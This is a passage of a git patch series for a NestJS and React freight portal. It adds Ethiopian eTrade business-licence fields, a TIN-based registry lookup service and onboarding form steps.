*/ +export interface CurrencyPair { + from: CurrencyCode; + to: CurrencyCode; +} + +/** + * A source of base exchange rates. Implementations fetch (scrape/API) the rate + * for a single canonical direction; the {@link ExchangeService} derives the + * inverse and same-currency (1:1) cases on top. + * + * Today the only implementation is the CBE (Central Bank of Ethiopia) provider, + * which sources USD→ETB. New providers (other banks, other base pairs) can be + * added without touching consumers. + */ +export interface ExchangeRateProvider { + /** Human-readable provider name, used in logs (e.g. `'CBE'`). */ + readonly name: string; + + /** + * Returns the rate for `pair` (units of `pair.to` per 1 unit of `pair.from`), + * or `null` if this provider cannot supply that pair directly. + */ + getBaseRate(pair: CurrencyPair): Promise; +} diff --git a/packages/api-common/src/services/exchange/index.ts b/packages/api-common/src/services/exchange/index.ts new file mode 100644 index 000000000..c5e9c960a --- /dev/null +++ b/packages/api-common/src/services/exchange/index.ts @@ -0,0 +1,10 @@ +export { ExchangeService } from "./exchange.service"; +export { ExchangeModule } from "./exchange.module"; +export { CbeExchangeProvider } from "./cbe.provider"; +export { EXCHANGE_OPTIONS, EXCHANGE_DEFAULTS } from "./exchange.options"; +export type { ExchangeOptions, ExchangeAsyncOptions } from "./exchange.options"; +export type { + CurrencyCode, + CurrencyPair, + ExchangeRateProvider, +} from "./exchange.types"; From 1f92a04ecfdc8ddb2fc37e6406373d9395918409 Mon Sep 17 00:00:00 2001 From: Marshal Date: Sat, 20 Jun 2026 10:27:41 +0000 Subject: [PATCH 07/30] feat: add eTrade fields to company entity and onboarding process - Added new fields to the Company entity: licenceNumber, statusDescription, dateRegistered, renewedFrom, renewalDate, renewedTo, region, zone, woreda, kebele, houseNo, and etradePhone. - Updated onboarding wizard to include a new contact step and fetch company information from eTrade using TIN. - Created ETradeInfo component to handle fetching and displaying eTrade data. - Implemented ETradeService to interact with eTrade API and extract relevant company registration data. - Added new DTOs for fetching eTrade data and handling responses. - Updated CompanyProfileForm to integrate new fields and handle eTrade data. - Created hooks for managing eTrade data fetching and error handling. --- ...791000000003-AddETradeFieldsToCompanies.ts | 109 +++++ .../modules/companies/companies.controller.ts | 11 + .../src/modules/companies/companies.module.ts | 4 + .../modules/companies/companies.service.ts | 41 ++ .../companies/dto/etrade-response.dto.ts | 39 ++ .../modules/companies/dto/fetch-etrade.dto.ts | 8 + .../companies/dto/profile-response.dto.ts | 30 ++ .../companies/dto/update-profile.dto.ts | 67 +++ .../companies/entities/company.entity.ts | 61 +++ .../companies/services/etrade.service.ts | 102 ++++ .../src/components/onboarding/ETradeInfo.tsx | 96 ++++ .../onboarding/OnboardingWizardDialog.tsx | 9 +- .../portal/src/constants/URLS.ts | 1 + .../portal/src/hooks/useETradeData.ts | 16 + .../src/pages/accounts/CompanyProfileForm.tsx | 452 +++++++++++++++--- .../portal/src/services/companies.service.ts | 9 + .../portal/src/types/profile.ts | 28 ++ packages/types/src/freight/etrade.ts | 79 +++ packages/types/src/freight/index.ts | 1 + 19 files changed, 1088 insertions(+), 75 deletions(-) create mode 100644 apps/edr-freight-api/src/migrations/1791000000003-AddETradeFieldsToCompanies.ts create mode 100644 apps/edr-freight-api/src/modules/companies/dto/etrade-response.dto.ts create mode 100644 apps/edr-freight-api/src/modules/companies/dto/fetch-etrade.dto.ts create mode 100644 apps/edr-freight-api/src/modules/companies/services/etrade.service.ts create mode 100644 apps/edr-freight-web/portal/src/components/onboarding/ETradeInfo.tsx create mode 100644 apps/edr-freight-web/portal/src/hooks/useETradeData.ts create mode 100644 packages/types/src/freight/etrade.ts diff --git a/apps/edr-freight-api/src/migrations/1791000000003-AddETradeFieldsToCompanies.ts b/apps/edr-freight-api/src/migrations/1791000000003-AddETradeFieldsToCompanies.ts new file mode 100644 index 000000000..07f0d2555 --- /dev/null +++ b/apps/edr-freight-api/src/migrations/1791000000003-AddETradeFieldsToCompanies.ts @@ -0,0 +1,109 @@ +import { MigrationInterface, QueryRunner } from "typeorm"; + +export class AddETradeFieldsToCompanies1791000000003 + implements MigrationInterface +{ + name = "AddETradeFieldsToCompanies1791000000003"; + + public async up(queryRunner: QueryRunner): Promise { + await queryRunner.query(` + ALTER TABLE freight.companies + ADD COLUMN IF NOT EXISTS licence_number varchar(100); + `); + await queryRunner.query(` + ALTER TABLE freight.companies + ADD COLUMN IF NOT EXISTS status_description text; + `); + await queryRunner.query(` + ALTER TABLE freight.companies + ADD COLUMN IF NOT EXISTS date_registered varchar(50); + `); + await queryRunner.query(` + ALTER TABLE freight.companies + ADD COLUMN IF NOT EXISTS renewed_from varchar(50); + `); + await queryRunner.query(` + ALTER TABLE freight.companies + ADD COLUMN IF NOT EXISTS renewal_date varchar(50); + `); + await queryRunner.query(` + ALTER TABLE freight.companies + ADD COLUMN IF NOT EXISTS renewed_to varchar(50); + `); + await queryRunner.query(` + ALTER TABLE freight.companies + ADD COLUMN IF NOT EXISTS region varchar(100); + `); + await queryRunner.query(` + ALTER TABLE freight.companies + ADD COLUMN IF NOT EXISTS zone varchar(100); + `); + await queryRunner.query(` + ALTER TABLE freight.companies + ADD COLUMN IF NOT EXISTS woreda varchar(100); + `); + await queryRunner.query(` + ALTER TABLE freight.companies + ADD COLUMN IF NOT EXISTS kebele varchar(100); + `); + await queryRunner.query(` + ALTER TABLE freight.companies + ADD COLUMN IF NOT EXISTS house_no varchar(100); + `); + await queryRunner.query(` + ALTER TABLE freight.companies + ADD COLUMN IF NOT EXISTS etrade_phone varchar(20); + `); + } + + public async down(queryRunner: QueryRunner): Promise { + await queryRunner.query(` + ALTER TABLE freight.companies + DROP COLUMN IF EXISTS licence_number; + `); + await queryRunner.query(` + ALTER TABLE freight.companies + DROP COLUMN IF EXISTS status_description; + `); + await queryRunner.query(` + ALTER TABLE freight.companies + DROP COLUMN IF EXISTS date_registered; + `); + await queryRunner.query(` + ALTER TABLE freight.companies + DROP COLUMN IF EXISTS renewed_from; + `); + await queryRunner.query(` + ALTER TABLE freight.companies + DROP COLUMN IF EXISTS renewal_date; + `); + await queryRunner.query(` + ALTER TABLE freight.companies + DROP COLUMN IF EXISTS renewed_to; + `); + await queryRunner.query(` + ALTER TABLE freight.companies + DROP COLUMN IF EXISTS region; + `); + await queryRunner.query(` + ALTER TABLE freight.companies + DROP COLUMN IF EXISTS zone; + `); + await queryRunner.query(` + ALTER TABLE freight.companies + DROP COLUMN IF EXISTS woreda; + `); + await queryRunner.query(` + ALTER TABLE freight.companies + DROP COLUMN IF EXISTS kebele; + `); + await queryRunner.query(` + ALTER TABLE freight.companies + DROP COLUMN IF EXISTS house_no; + `); + await queryRunner.query(` + ALTER TABLE freight.companies + DROP COLUMN IF EXISTS etrade_phone; + `); + } +} diff --git a/apps/edr-freight-api/src/modules/companies/companies.controller.ts b/apps/edr-freight-api/src/modules/companies/companies.controller.ts index 249a8e181..18512ce09 100644 --- a/apps/edr-freight-api/src/modules/companies/companies.controller.ts +++ b/apps/edr-freight-api/src/modules/companies/companies.controller.ts @@ -38,6 +38,8 @@ import { CompanyInfoResponseDto } from "./dto/company-info-response.dto"; import { UpdateProfileDto } from "./dto/update-profile.dto"; import { ProfileResponseDto } from "./dto/profile-response.dto"; import { DashboardSummaryResponseDto } from "./dto/dashboard-summary-response.dto"; +import { FetchETradeDto } from "./dto/fetch-etrade.dto"; +import { ETradeResponseDto } from "./dto/etrade-response.dto"; interface CurrentIamUser { id: string; @@ -85,6 +87,15 @@ export class CompaniesController { return this.companiesService.getDashboardSummary(user.id); } + @Post("fetch-etrade-info") + @ApiOperation({ summary: "Fetch company info from eTrade by TIN" }) + async fetchETradeInfo( + @Body() dto: FetchETradeDto, + ): Promise { + const data = await this.companiesService.fetchETradeData(dto.tin); + return new ETradeResponseDto(data); + } + @Patch("profile") @ApiOperation({ summary: "Update profile (flattened settings page)" }) async updateProfile( diff --git a/apps/edr-freight-api/src/modules/companies/companies.module.ts b/apps/edr-freight-api/src/modules/companies/companies.module.ts index edab8984d..d275c57a7 100644 --- a/apps/edr-freight-api/src/modules/companies/companies.module.ts +++ b/apps/edr-freight-api/src/modules/companies/companies.module.ts @@ -1,5 +1,6 @@ import { Module } from "@nestjs/common"; import { TypeOrmModule } from "@nestjs/typeorm"; +import { HttpModule } from "@nestjs/axios"; import { FilesModule } from "../files/files.module"; import { MinioModule } from "../minio/minio.module"; import { CompaniesController } from "./companies.controller"; @@ -12,10 +13,12 @@ import { ExternalProfile } from "./entities/external-profile.entity"; import { CompanyProfile } from "./entities/company-profile.entity"; import { Booking } from "../bookings/entities/booking.entity"; import { CompanyProfileRepository } from "./company-profile.repository"; +import { ETradeService } from "./services/etrade.service"; @Module({ imports: [ TypeOrmModule.forFeature([Company, ExternalProfile, CompanyProfile, Booking]), + HttpModule, FilesModule, MinioModule, ], @@ -26,6 +29,7 @@ import { CompanyProfileRepository } from "./company-profile.repository"; ExternalProfileRepository, CompanyProfileRepository, CompanyDashboardRepository, + ETradeService, ], exports: [CompaniesService], }) diff --git a/apps/edr-freight-api/src/modules/companies/companies.service.ts b/apps/edr-freight-api/src/modules/companies/companies.service.ts index 42f3446d1..69c4c3cae 100644 --- a/apps/edr-freight-api/src/modules/companies/companies.service.ts +++ b/apps/edr-freight-api/src/modules/companies/companies.service.ts @@ -9,6 +9,7 @@ import { CompanyProfileRepository } from "./company-profile.repository"; import { ExternalProfileRepository } from "./external-profile.repository"; import { CompanyDashboardRepository } from "./company-dashboard.repository"; import { MinioService } from "../minio/minio.service"; +import { ETradeService } from "./services/etrade.service"; import { CreateCompanyDto } from "./dto/create-company.dto"; import { UpdateCompanyDto } from "./dto/update-company.dto"; import { CreateExternalProfileDto } from "./dto/create-external-profile.dto"; @@ -46,6 +47,7 @@ export class CompaniesService { private readonly profilesRepo: ExternalProfileRepository, private readonly dashboardRepo: CompanyDashboardRepository, private readonly minioService: MinioService, + private readonly etradeService: ETradeService, ) { } async createCompany(dto: CreateCompanyDto): Promise { @@ -496,6 +498,10 @@ export class CompaniesService { if (dto.contactPersonName !== undefined) attrUpdates.contactPersonName = dto.contactPersonName; + if (dto.contactPersonPosition !== undefined) + attrUpdates.contactPersonPosition = dto.contactPersonPosition; + if (dto.contactPersonEmail !== undefined) + attrUpdates.contactPersonEmail = dto.contactPersonEmail; if (dto.contactPersonPhone !== undefined) attrUpdates.contactPersonPhone = dto.contactPersonPhone; if (dto.generalManagerName !== undefined) @@ -511,6 +517,31 @@ export class CompaniesService { attrUpdates.poaLocation = dto.poaLocation; if (dto.poaAddress !== undefined) attrUpdates.poaAddress = dto.poaAddress; + if (dto.licenceNumber !== undefined) + companyUpdates.licenceNumber = dto.licenceNumber; + if (dto.statusDescription !== undefined) + companyUpdates.statusDescription = dto.statusDescription; + if (dto.dateRegistered !== undefined) + companyUpdates.dateRegistered = dto.dateRegistered; + if (dto.renewedFrom !== undefined) + companyUpdates.renewedFrom = dto.renewedFrom; + if (dto.renewalDate !== undefined) + companyUpdates.renewalDate = dto.renewalDate; + if (dto.renewedTo !== undefined) + companyUpdates.renewedTo = dto.renewedTo; + if (dto.region !== undefined) + companyUpdates.region = dto.region; + if (dto.zone !== undefined) + companyUpdates.zone = dto.zone; + if (dto.woreda !== undefined) + companyUpdates.woreda = dto.woreda; + if (dto.kebele !== undefined) + companyUpdates.kebele = dto.kebele; + if (dto.houseNo !== undefined) + companyUpdates.houseNo = dto.houseNo; + if (dto.etradePhone !== undefined) + companyUpdates.etradePhone = dto.etradePhone; + companyUpdates.attributes = attrUpdates; const updated = await this.companiesRepo.update(company.id, companyUpdates); @@ -892,4 +923,14 @@ export class CompaniesService { return null; } } + + async fetchETradeData(tin: string) { + const { businessInfo } = await this.etradeService.resolveCompanyData(tin); + if (!businessInfo) { + throw new BadRequestException( + "No business license found for this TIN. Please check the number and try again.", + ); + } + return this.etradeService.extractRegistrationData(businessInfo); + } } diff --git a/apps/edr-freight-api/src/modules/companies/dto/etrade-response.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/etrade-response.dto.ts new file mode 100644 index 000000000..200b69fee --- /dev/null +++ b/apps/edr-freight-api/src/modules/companies/dto/etrade-response.dto.ts @@ -0,0 +1,39 @@ +import { CompanyRegistrationData } from "@edr/types"; + +export class ETradeResponseDto implements CompanyRegistrationData { + licenceNumber!: string; + statusDescription!: string; + dateRegistered!: string; + renewedFrom!: string; + renewalDate!: string; + renewedTo!: string; + region!: string; + zone!: string; + woreda!: string; + kebele!: string; + houseNo!: string; + mobilePhone!: string; + regularPhone!: string; + managerName!: string; + managerEmail?: string; + managerPhone!: string; + + constructor(data: CompanyRegistrationData) { + this.licenceNumber = data.licenceNumber; + this.statusDescription = data.statusDescription; + this.dateRegistered = data.dateRegistered; + this.renewedFrom = data.renewedFrom; + this.renewalDate = data.renewalDate; + this.renewedTo = data.renewedTo; + this.region = data.region; + this.zone = data.zone; + this.woreda = data.woreda; + this.kebele = data.kebele; + this.houseNo = data.houseNo; + this.mobilePhone = data.mobilePhone; + this.regularPhone = data.regularPhone; + this.managerName = data.managerName; + this.managerEmail = data.managerEmail; + this.managerPhone = data.managerPhone; + } +} diff --git a/apps/edr-freight-api/src/modules/companies/dto/fetch-etrade.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/fetch-etrade.dto.ts new file mode 100644 index 000000000..2eb37c92d --- /dev/null +++ b/apps/edr-freight-api/src/modules/companies/dto/fetch-etrade.dto.ts @@ -0,0 +1,8 @@ +import { IsString, IsNotEmpty, Length } from "class-validator"; + +export class FetchETradeDto { + @IsString() + @IsNotEmpty() + @Length(10, 10, { message: "TIN must be exactly 10 digits" }) + tin!: string; +} diff --git a/apps/edr-freight-api/src/modules/companies/dto/profile-response.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/profile-response.dto.ts index 993cf9f2b..97f2d9f50 100644 --- a/apps/edr-freight-api/src/modules/companies/dto/profile-response.dto.ts +++ b/apps/edr-freight-api/src/modules/companies/dto/profile-response.dto.ts @@ -17,7 +17,22 @@ export class ProfileResponseDto { companyProfiles: ResponseCompanyProfileDto[]; + licenceNumber: string | null; + statusDescription: string | null; + dateRegistered: string | null; + renewedFrom: string | null; + renewalDate: string | null; + renewedTo: string | null; + region: string | null; + zone: string | null; + woreda: string | null; + kebele: string | null; + houseNo: string | null; + etradePhone: string | null; + contactPersonName: string | null; + contactPersonPosition: string | null; + contactPersonEmail: string | null; contactPersonPhone: string | null; generalManagerName: string | null; generalManagerEmail: string | null; @@ -48,8 +63,23 @@ export class ProfileResponseDto { this.fanNumber = company.fanNumber ?? null; this.profileId = profile.id; + this.licenceNumber = company.licenceNumber ?? null; + this.statusDescription = company.statusDescription ?? null; + this.dateRegistered = company.dateRegistered ?? null; + this.renewedFrom = company.renewedFrom ?? null; + this.renewalDate = company.renewalDate ?? null; + this.renewedTo = company.renewedTo ?? null; + this.region = company.region ?? null; + this.zone = company.zone ?? null; + this.woreda = company.woreda ?? null; + this.kebele = company.kebele ?? null; + this.houseNo = company.houseNo ?? null; + this.etradePhone = company.etradePhone ?? null; + const attrs = company.attributes ?? {}; this.contactPersonName = attrs.contactPersonName ?? null; + this.contactPersonPosition = attrs.contactPersonPosition ?? null; + this.contactPersonEmail = attrs.contactPersonEmail ?? null; this.contactPersonPhone = attrs.contactPersonPhone ?? null; this.generalManagerName = attrs.generalManagerName ?? null; this.generalManagerEmail = attrs.generalManagerEmail ?? null; diff --git a/apps/edr-freight-api/src/modules/companies/dto/update-profile.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/update-profile.dto.ts index a3933ec9e..8bb691a80 100644 --- a/apps/edr-freight-api/src/modules/companies/dto/update-profile.dto.ts +++ b/apps/edr-freight-api/src/modules/companies/dto/update-profile.dto.ts @@ -50,6 +50,14 @@ export class UpdateProfileDto { @IsString() contactPersonName?: string; + @IsOptional() + @IsString() + contactPersonPosition?: string; + + @IsOptional() + @IsEmail() + contactPersonEmail?: string; + @IsOptional() @IsString() contactPersonPhone?: string; @@ -85,4 +93,63 @@ export class UpdateProfileDto { @IsOptional() @IsString() poaAddress?: string; + + @IsOptional() + @IsString() + @MaxLength(100) + licenceNumber?: string; + + @IsOptional() + @IsString() + statusDescription?: string; + + @IsOptional() + @IsString() + @MaxLength(50) + dateRegistered?: string; + + @IsOptional() + @IsString() + @MaxLength(50) + renewedFrom?: string; + + @IsOptional() + @IsString() + @MaxLength(50) + renewalDate?: string; + + @IsOptional() + @IsString() + @MaxLength(50) + renewedTo?: string; + + @IsOptional() + @IsString() + @MaxLength(100) + region?: string; + + @IsOptional() + @IsString() + @MaxLength(100) + zone?: string; + + @IsOptional() + @IsString() + @MaxLength(100) + woreda?: string; + + @IsOptional() + @IsString() + @MaxLength(100) + kebele?: string; + + @IsOptional() + @IsString() + @MaxLength(100) + houseNo?: string; + + @IsOptional() + @IsString() + @MaxLength(20) + etradePhone?: string; } diff --git a/apps/edr-freight-api/src/modules/companies/entities/company.entity.ts b/apps/edr-freight-api/src/modules/companies/entities/company.entity.ts index 74a1e8fb9..6702f9f7c 100644 --- a/apps/edr-freight-api/src/modules/companies/entities/company.entity.ts +++ b/apps/edr-freight-api/src/modules/companies/entities/company.entity.ts @@ -117,6 +117,67 @@ export class Company extends BaseEntity { @Column({ name: "attributes", type: "jsonb", nullable: true }) attributes?: Record | null; + @Column({ + name: "licence_number", + type: "varchar", + length: 100, + nullable: true, + }) + licenceNumber?: string | null; + + @Column({ name: "status_description", type: "text", nullable: true }) + statusDescription?: string | null; + + @Column({ + name: "date_registered", + type: "varchar", + length: 50, + nullable: true, + }) + dateRegistered?: string | null; + + @Column({ + name: "renewed_from", + type: "varchar", + length: 50, + nullable: true, + }) + renewedFrom?: string | null; + + @Column({ + name: "renewal_date", + type: "varchar", + length: 50, + nullable: true, + }) + renewalDate?: string | null; + + @Column({ + name: "renewed_to", + type: "varchar", + length: 50, + nullable: true, + }) + renewedTo?: string | null; + + @Column({ name: "region", type: "varchar", length: 100, nullable: true }) + region?: string | null; + + @Column({ name: "zone", type: "varchar", length: 100, nullable: true }) + zone?: string | null; + + @Column({ name: "woreda", type: "varchar", length: 100, nullable: true }) + woreda?: string | null; + + @Column({ name: "kebele", type: "varchar", length: 100, nullable: true }) + kebele?: string | null; + + @Column({ name: "house_no", type: "varchar", length: 100, nullable: true }) + houseNo?: string | null; + + @Column({ name: "etrade_phone", type: "varchar", length: 20, nullable: true }) + etradePhone?: string | null; + @OneToMany(() => ExternalProfile, (profile) => profile.company) profiles?: ExternalProfile[]; diff --git a/apps/edr-freight-api/src/modules/companies/services/etrade.service.ts b/apps/edr-freight-api/src/modules/companies/services/etrade.service.ts new file mode 100644 index 000000000..95f927738 --- /dev/null +++ b/apps/edr-freight-api/src/modules/companies/services/etrade.service.ts @@ -0,0 +1,102 @@ +import { Injectable, BadRequestException } from "@nestjs/common"; +import { HttpService } from "@nestjs/axios"; +import { firstValueFrom } from "rxjs"; +import { + ETradeCompanyInfo, + ETradeBusinessInfo, + CompanyRegistrationData, +} from "@edr/types"; + +@Injectable() +export class ETradeService { + private readonly baseUrl = "https://etrade.gov.et/api"; + private readonly referer = "https://etrade.gov.et/business-license-checker"; + + constructor(private readonly httpService: HttpService) {} + + async getCompanyInfoByTin(tin: string): Promise { + const url = `${this.baseUrl}/Registration/GetRegistrationInfoByTin/${tin}/en`; + try { + const response = await firstValueFrom( + this.httpService.get(url, { + headers: { Referer: this.referer }, + }), + ); + return response.data; + } catch (error: any) { + throw new BadRequestException( + `Failed to fetch company info from eTrade: ${error.message}`, + ); + } + } + + async getBusinessByLicenseNo( + licenseNo: string, + tin: string, + ): Promise { + const url = `${this.baseUrl}/BusinessMain/GetBusinessByLicenseNo`; + try { + const response = await firstValueFrom( + this.httpService.get(url, { + params: { + LicenseNo: licenseNo, + Tin: tin, + Lang: "en", + }, + headers: { Referer: this.referer }, + }), + ); + return response.data; + } catch (error: any) { + throw new BadRequestException( + `Failed to fetch business info from eTrade: ${error.message}`, + ); + } + } + + async resolveCompanyData(tin: string): Promise<{ + companyInfo: ETradeCompanyInfo; + businessInfo: ETradeBusinessInfo | null; + }> { + const companyInfo = await this.getCompanyInfoByTin(tin); + + if (!companyInfo.Businesses || companyInfo.Businesses.length === 0) { + return { companyInfo, businessInfo: null }; + } + + const latestBusiness = companyInfo.Businesses[0]; + try { + const businessInfo = await this.getBusinessByLicenseNo( + latestBusiness.LicenceNumber, + tin, + ); + return { companyInfo, businessInfo }; + } catch { + return { companyInfo, businessInfo: null }; + } + } + + extractRegistrationData( + businessInfo: ETradeBusinessInfo, + ): CompanyRegistrationData { + const primaryManager = businessInfo.AssociateShortInfos?.[0]; + + return { + licenceNumber: businessInfo.LicenceNumber, + statusDescription: businessInfo.StatusDescription, + dateRegistered: businessInfo.DateRegistered, + renewedFrom: businessInfo.RenewedFrom, + renewalDate: businessInfo.RenewalDate, + renewedTo: businessInfo.RenewedTo, + region: businessInfo.AddressInfo?.Region || "", + zone: businessInfo.AddressInfo?.Zone || "", + woreda: businessInfo.AddressInfo?.Woreda || "", + kebele: businessInfo.AddressInfo?.Kebele || "", + houseNo: businessInfo.AddressInfo?.HouseNo || "", + mobilePhone: businessInfo.AddressInfo?.MobilePhone || "", + regularPhone: businessInfo.AddressInfo?.RegularPhone || "", + managerName: primaryManager?.ManagerNameEng || "", + managerPhone: primaryManager?.RegularPhone || "", + }; + } +} diff --git a/apps/edr-freight-web/portal/src/components/onboarding/ETradeInfo.tsx b/apps/edr-freight-web/portal/src/components/onboarding/ETradeInfo.tsx new file mode 100644 index 000000000..15632fe1b --- /dev/null +++ b/apps/edr-freight-web/portal/src/components/onboarding/ETradeInfo.tsx @@ -0,0 +1,96 @@ +import { + Alert, + Button, + Group, + Loader, + SimpleGrid, + Stack, + Text, + TextInput, +} from "@mantine/core"; +import { AlertCircle, CheckCircle2, RefreshCw } from "lucide-react"; +import { useETradeData } from "@/hooks/useETradeData"; +import type { CompanyRegistrationData } from "@edr/types"; + +interface ETradeInfoProps { + tin: string; + onDataLoaded: (data: CompanyRegistrationData) => void; +} + +export default function ETradeInfo({ tin, onDataLoaded }: ETradeInfoProps) { + const mutation = useETradeData(); + const isLoading = mutation.isPending; + const hasError = mutation.isError; + const hasData = mutation.data; + + const handleFetch = async () => { + if (!tin || tin.length !== 10) return; + const result = await mutation.mutateAsync(tin); + if (result) { + onDataLoaded(result); + } + }; + + const errorMessage = + hasError && mutation.error + ? (mutation.error as any).message || + "Failed to fetch company information. Please try again." + : null; + + return ( + + + + + + + {hasError && errorMessage && ( + } + color="red" + title="Failed to fetch data" + > + {errorMessage} + + )} + + {hasData && ( + } + color="green" + title="Company information loaded" + > + + + License: {hasData.licenceNumber} + + + Status: {hasData.statusDescription} + + {hasData.region && ( + + Location: {hasData.kebele}, {hasData.woreda},{" "} + {hasData.zone}, {hasData.region} + + )} + + + )} + + ); +} diff --git a/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx b/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx index c400ee637..584735b3c 100644 --- a/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx +++ b/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx @@ -20,10 +20,17 @@ import NationalitySelect from "@/pages/settings/NationalitySelect"; import OnboardingRoleSelect from "@/pages/settings/OnboardingRoleSelect"; /** Form steps shared by CompanyProfileForm and ForwarderForm. */ -type FormStep = "company" | "personnel" | "poa" | "documents" | "additional"; +type FormStep = + | "company" + | "personnel" + | "contact" + | "poa" + | "documents" + | "additional"; const FORM_STEPS: FormStep[] = [ "company", "personnel", + "contact", "poa", "documents", "additional", diff --git a/apps/edr-freight-web/portal/src/constants/URLS.ts b/apps/edr-freight-web/portal/src/constants/URLS.ts index 1c8bd2c5b..6a22ef954 100644 --- a/apps/edr-freight-web/portal/src/constants/URLS.ts +++ b/apps/edr-freight-web/portal/src/constants/URLS.ts @@ -90,6 +90,7 @@ export const URL_CONSTANTS = { ONBOARDING_STEP: "/api/companies/onboarding-step", ONBOARDING_COMPLETE: "/api/companies/onboarding/complete", DASHBOARD: "/api/companies/dashboard", + FETCH_ETRADE_INFO: "/api/companies/fetch-etrade-info", DOCUMENTS: (id: string) => `/api/companies/${id}/documents`, PROFILE_LICENSE: (profileId: string) => `/api/companies/company-profiles/${profileId}/license`, diff --git a/apps/edr-freight-web/portal/src/hooks/useETradeData.ts b/apps/edr-freight-web/portal/src/hooks/useETradeData.ts new file mode 100644 index 000000000..9fbce53d9 --- /dev/null +++ b/apps/edr-freight-web/portal/src/hooks/useETradeData.ts @@ -0,0 +1,16 @@ +import { useMutation } from "@tanstack/react-query"; +import { companiesService } from "@/services/companies.service"; +import { extractApiError } from "@/utils/result"; +import type { CompanyRegistrationData } from "@edr/types"; + +export function useETradeData() { + return useMutation({ + mutationFn: async (tin: string): Promise => { + return companiesService.fetchETradeInfo({ tin }); + }, + onError: (error) => { + const { message } = extractApiError(error); + console.error("eTrade fetch error:", message); + }, + }); +} diff --git a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx index 3573d7ef6..ecc8d38ec 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx +++ b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx @@ -2,6 +2,7 @@ import { Alert, Box, Button, + Checkbox, Divider, Group, Loader, @@ -23,6 +24,7 @@ import { FileText, UploadCloud, User, + UserCheck, } from "lucide-react"; import { useEffect, useRef, useState } from "react"; import { useForm } from "react-hook-form"; @@ -31,6 +33,7 @@ import { z } from "zod"; import type { AuthUser } from "@/types/auth"; import type { CreateCompanyPayload } from "@/services/companies.service"; import type { ProfileResponse, UpdateProfilePayload } from "@/types/profile"; +import type { CompanyRegistrationData } from "@edr/types"; import PhoneInput from "@/components/auth/PhoneInput"; import { SmartFileInput } from "@edr/ui-common"; import { api } from "@/services/api"; @@ -38,8 +41,15 @@ import { splitPhone } from "@/utils/phone"; import RoleLicenseStep, { type RoleLicenseProfile, } from "@/components/onboarding/RoleLicenseStep"; +import ETradeInfo from "@/components/onboarding/ETradeInfo"; -type CompanyStep = "company" | "personnel" | "poa" | "documents" | "additional"; +type CompanyStep = + | "company" + | "personnel" + | "contact" + | "poa" + | "documents" + | "additional"; const onboardingSchema = z.object({ companyName: z.string().min(1, "Company name is required"), @@ -54,7 +64,25 @@ const onboardingSchema = z.object({ .min(1, "VAT number is required") .length(10, "VAT number must be exactly 10 digits"), fanNumber: z.string().length(16, "FAN must be exactly 16 digits"), + licenceNumber: z.string().optional(), + statusDescription: z.string().optional(), + dateRegistered: z.string().optional(), + renewedFrom: z.string().optional(), + renewalDate: z.string().optional(), + renewedTo: z.string().optional(), + region: z.string().optional(), + zone: z.string().optional(), + woreda: z.string().optional(), + kebele: z.string().optional(), + houseNo: z.string().optional(), + etradePhone: z.string().optional(), contactPersonName: z.string().min(1, "Contact person name is required"), + contactPersonPosition: z.string().optional(), + contactPersonEmail: z + .string() + .email("Invalid email address") + .optional() + .or(z.literal("")), contactPersonPhone: z.string().min(1, "Contact person phone is required"), contactPersonPhoneCountryCode: z.string().min(1, "Country code is required"), generalManagerName: z.string().min(1, "GM name is required"), @@ -82,16 +110,32 @@ const stepFields: Record = { "tinNumber", "vatNumber", "fanNumber", + "licenceNumber", + "statusDescription", + "dateRegistered", + "renewedFrom", + "renewalDate", + "renewedTo", + "region", + "zone", + "woreda", + "kebele", + "houseNo", + "etradePhone", ], personnel: [ - "contactPersonName", - "contactPersonPhone", - "contactPersonPhoneCountryCode", "generalManagerName", "generalManagerEmail", "generalManagerPhone", "generalManagerPhoneCountryCode", ], + contact: [ + "contactPersonName", + "contactPersonPosition", + "contactPersonEmail", + "contactPersonPhone", + "contactPersonPhoneCountryCode", + ], poa: [], documents: [], additional: [], @@ -109,6 +153,8 @@ function buildPayload(data: FormData, _user: AuthUser): CreateCompanyPayload { fanNumber: data.fanNumber, attributes: { contactPersonName: data.contactPersonName, + contactPersonPosition: data.contactPersonPosition || undefined, + contactPersonEmail: data.contactPersonEmail || undefined, contactPersonPhone: `${data.contactPersonPhoneCountryCode}${data.contactPersonPhone}`, generalManagerName: data.generalManagerName, generalManagerEmail: data.generalManagerEmail, @@ -138,15 +184,32 @@ function stepPayload(step: CompanyStep, d: FormData): Partial({ resolver: zodResolver(onboardingSchema), @@ -294,7 +372,21 @@ export default function CompanyProfileForm({ tinNumber: "", vatNumber: "", fanNumber: "", + licenceNumber: "", + statusDescription: "", + dateRegistered: "", + renewedFrom: "", + renewalDate: "", + renewedTo: "", + region: "", + zone: "", + woreda: "", + kebele: "", + houseNo: "", + etradePhone: "", contactPersonName: "", + contactPersonPosition: "", + contactPersonEmail: "", contactPersonPhone: "", contactPersonPhoneCountryCode: "+251", generalManagerName: "", @@ -312,8 +404,83 @@ export default function CompanyProfileForm({ values: rehydrate ? toFormValues(rehydrate) : undefined, }); + // The business owner/manager pulled from eTrade — powers "Use owner as + // manager" on the General Manager step. Null until a TIN lookup succeeds. + const [etradeOwner, setEtradeOwner] = useState<{ + name: string; + phone: string; + } | null>(null); + + // Mirror the two "copy from previous person" checkboxes so they can be + // re-toggled (re-checking re-pulls the latest values). + const [gmIsContact, setGmIsContact] = useState(false); + const [contactIsPoa, setContactIsPoa] = useState(false); + + const handleETradeDataLoaded = (data: CompanyRegistrationData) => { + setValue("licenceNumber", data.licenceNumber); + setValue("statusDescription", data.statusDescription); + setValue("dateRegistered", data.dateRegistered); + setValue("renewedFrom", data.renewedFrom); + setValue("renewalDate", data.renewalDate); + setValue("renewedTo", data.renewedTo); + setValue("region", data.region); + setValue("zone", data.zone); + setValue("woreda", data.woreda); + setValue("kebele", data.kebele); + 